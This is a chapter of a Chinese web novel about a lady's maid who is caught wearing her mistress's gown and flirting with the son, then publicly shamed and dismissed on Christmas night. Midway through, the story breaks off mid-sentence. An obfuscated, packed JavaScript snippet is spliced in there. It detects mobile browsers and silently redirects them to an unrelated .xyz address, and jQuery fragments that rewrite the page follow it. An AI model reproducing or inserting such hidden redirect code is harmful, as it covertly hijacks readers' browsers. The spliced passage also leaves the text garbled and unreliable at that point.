作为一名上了年纪且不缺钱的寡妇,举办热闹的舞会是赫伯夫人为数不多的兴趣爱好。然而她遵循旧制,常年只着黑色的丧服,这些漂亮的衣裙都穿不了。
原本伊丽莎白只是被介绍过来做女佣的。
一次偶然的机会,伊丽莎白在整理衣帽间时,被赫伯夫人慧眼识中。她年轻漂亮,身材纤细,还识字,赫伯夫人看见她就像看见自己年轻时候的模样。
最关键的是,每一件裙子在伊丽莎白身上都能大放光彩,故而每次购买新衣,她都喜欢带上伊丽莎白。时间长了,伊丽莎白竟无师自通地懂得了色彩和服饰的搭配。
后来,赫伯夫人索性把衣帽间的钥匙交给了伊丽莎白保管,让她每日打理自己的服饰。
在这方面伊丽莎白完成地确实非常出色,渐渐地,她也开始脱手打扫卫生的那些活儿了。底下的女佣们见此虽然不满,却碍于赫伯夫人对她的喜爱没有说什么,反而帮她承担了大部分的工作。
赫伯夫人非常倚重伊丽莎白也不防着她,知道她家姐妹众多,有些淘汰的裙子直接就送给她了。
此举又惹得庄园上下的女仆们嫉妒不已,也让伊丽莎白生出自己与众不同的感觉。
*
直到被带到书房前,伊丽莎白依然心存侥幸。
她可是夫人最得力的助手,夫人那么善良大方,肯定不会责怪自己的。
但她忽视了一点,对于注重礼仪规矩的赫伯夫人来说,女佣勾引主人家的儿子,这种挑战阶级的事情比偷穿裙子性质更严重!
伊丽莎白偷瞥了一眼身旁的理查德,希望他能为自己说句好话,哪怕只有一句,可对方只是垂着头,连目光都不敢与她对视。
伊丽莎白又急又怕,她攥紧裙摆,喉头发紧,好不容易挤出一句:“夫人,我……”
“你倒是好眼光,这件礼服还是祖母传给我的。”赫伯夫人冷哼一声,打断了她的话。
伊丽莎白从未见过如此严肃的夫人,冰冷到让她陌生。
她还没反应过来,身后突然被人猛地撞击了一下,一个趔趄双膝不受控制地重重磕在坚硬的地板上,钻心的疼痛顿时袭来,伊丽莎白隐忍许久的泪水再也不受控制,汹涌而出:“夫人,您一向疼爱我,这次是我错了,我再也不敢了,礼服我会清洗干净的,求您原谅我这次吧……”
赫伯夫人并不在意伊丽莎白的狼狈,只是居高临下地睨着她:“我原以为你至少是个本分的姑娘,没想到居然做出这种事!你有喜欢裙子完全可以告诉我,为什么要偷窃呢?”
这话算是把罪名给彻底钉死了。
滚烫的泪水还在脸颊上,伊丽莎白却感觉如坠冰窟,她望着赫伯夫人掩盖在脂粉下的冰冷神色,终于明白往日那些温情都是错觉。
除了不断求饶,她已别无他法。
赫伯夫人又看向儿子,眼神中满是失望:“你也太让我失望了,居然和一个下人纠缠不清。”
很快,庄园全体工作人员都被召集到书房。众人疑惑地看向跪着的伊丽莎白,不知发生了何事。
有位眼尖的女佣一眼发现了端倪,幸灾乐祸地掩嘴偷笑。
伊丽莎白偷偷扫视一圈,见人群中并没有妹妹,这让她焦灼的心稍稍安定了几分。
可偷窃如此昂贵的财物,虽然没有造成损失,但如果夫人铁了心追究到底,把她交给治安官的话,家里所有的姐妹都要受到牵连。
直至此刻,真正的懊悔才如潮水般将她淹没。
伊丽莎白掩面痛哭,她彻底意识到了自己的愚蠢,是她鬼迷了心窍,只要夫人不报警,她愿意接受任何惩罚。
*
“莉莉,你怎么在这儿?”安珀诧异地看着眼前气喘吁吁的伙伴。
她清楚莉莉做事毛手毛脚,所以前厅缺人手时,艾达才会第一时间调自己去补缺。如今连莉莉都被召集过来,看来既夫人少爷管家太太之后,庄园里所有长期工也已被喊走了。
“到底出什么事了?为什么大家都被叫走了?”安珀忍不住追问。
莉莉搓着冻红的手,哈出一口白气:“我也不清楚,稀里糊涂就被喊来了。刚好罗拉太太不在,咱们就趁这会儿偷偷懒,前厅可比厨房暖和多了!”
“别想着偷懒了,”安珀哭笑不得,抓住莉莉的胳膊,“我感觉发生了什么大事,你帮我去打听打听呗,回头我请你吃好吃的。记住,一定要悄悄的,小心谨慎些。”
及时了解主人家的动向,也有利于今后的事业发展。
莉莉虽然茫然,却也照做不误,她很快就找到了相熟的领班,可惜对方并未透露太多。
于是她只好又跑了回来:“楼上的姐姐们也不清楚,好像是夫人的贴身女佣在整理夫人衣物时出了差错。”
就为这点小事大动干戈?
安珀皱起眉头,直觉告诉她,事情恐怕没这么简单。
*
书房内
伊丽莎白哭完冷静了许多,她意识到自己必须得到夫人的谅解,于是再次将求救的目光投向理查德。
终于,理查德深吸一口气,硬着头皮站了出来:“妈妈,今晚的舞会还需要主人接待宾客,要不这件事明天再说吧。”
“这就是你的处理方式吗?理查德?”赫伯夫人语气冰冷。
眼见气氛剑拔弩张,罗拉太太连忙开口:“夫人,舞会要紧,后半场就要开始了,我马上让人把伊丽莎白带下去换身衣服……”
“不——”赫伯太太抬手制止,她似乎平复了心情,恢复了往日的温婉优雅,好像什么都没发生过一样。
“伊丽莎白,你是否真的很喜欢这条项链和这件礼服?如果你喜欢,我可以送给你,自然你也就不算是偷窃了。”
此言一出,全场鸦雀无声。
很快,女佣们开始窃窃私语,她们都不明白女主人此举的用意。
伊丽莎白同样错愕,她僵在原地,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547090|171184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
感觉后背的冷汗已经浸透了衣襟。
这不是一道选择题。
赫伯夫人走到近前,上下打量了一番眼前这个狼狈不堪的少女,对方身上已然没了她欣赏的特质。
终于,她似怜惜又似施舍般地开口了:“我想你一定是非常喜欢这条裙子和项链,才会做出这样昏头的事情。”她俯下身来,目光在伊丽莎白脖颈间的项链上顿住,“如今,它们是你的了……但愿你以后还有机会穿上它们!”
说完,她优雅地挽起儿子的手臂,转身离去。那优雅从容的步伐,仿佛只是结束了一场无关紧要的闲聊。
临走前,理查德偷偷回头看了一眼,他看见了伊丽莎白掉落在地板上的泪珠,也看见了她空洞无助的双眼,可当他对上母亲警告的眼神,所有的冲动都化作了无声的叹息。
随着书房大门“砰”的一声重重关上,雕花门板彻底将两人隔绝在了两个世界。
罗拉太太留下负责善后工作,她着人拿来了伊丽莎白的私人物品。
作为管家,她对佣人们向来严苛,更是没少训斥过伊丽莎白。但她依然为对方感到可惜。明明拥有一份这么好的工作却不珍惜,难道是想去农场修道院做那些脏活累活吗?
“伊丽莎白,我很抱歉。”罗拉太太的声音带着一丝惋惜,“但作为管家,我必须对主人负责。现在你被辞退了,请你立刻离开赫伯庄园。”
女佣们不寒而栗。被赫伯庄园辞退,意味着失去体面的工作,失去稳定的收入,甚至再也找不到一份像样的工作。好在夫人足够仁慈,没有把人送去警察局。
伊丽莎白低着头,泪水再次夺眶而出,她不敢看罗拉太太的眼睛,只能机械地收拾着自己的东西,顶着一身凌乱的衣着,跌跌撞撞地从后门出了庄园,然后一头扎进了风雪之中。
“姑娘们,都听好了!”罗拉太太扫视着众人,眼神严厉,“都认清自己的身份,不要妄想不属于自己的东西。
“另外,我不希望在外面听到任何有关今天发生的事情。今天是赫伯庄园的大日子,现在请打起十二分的精神!”
“是,罗拉太太。”女佣们齐声应道,鱼贯而出。
只留下罗拉太太站在原地,望着空荡荡的房间,良久才长叹一声。
*
午夜的钟声敲过,最后一批宾客的马车碾过结冰的碎石路,这场圣诞夜宴才终于落下帷幕。
今晚的炙烤鳗鱼成了全场焦点,鲜嫩的鱼肉裹着秘制酱料,香气四溢。不少女客举着银叉赞不绝口,甚至有人当场就问赫伯夫人讨要起了秘方。庄园的女主人狠狠地长脸,后半场宴会宾主尽欢。
莉莉却对晚上的风波浑然未觉,她满脸兴奋地跑来,想和安珀分享晚宴得到的打赏。而安珀只是心不在焉地应着,指尖反复摩挲着银质餐具。喧嚣后的平静,反而让她心中的不安像藤蔓般疯狂生长。
她婉拒了莫莉太太留下过夜的好意,一个人走向了黑暗中。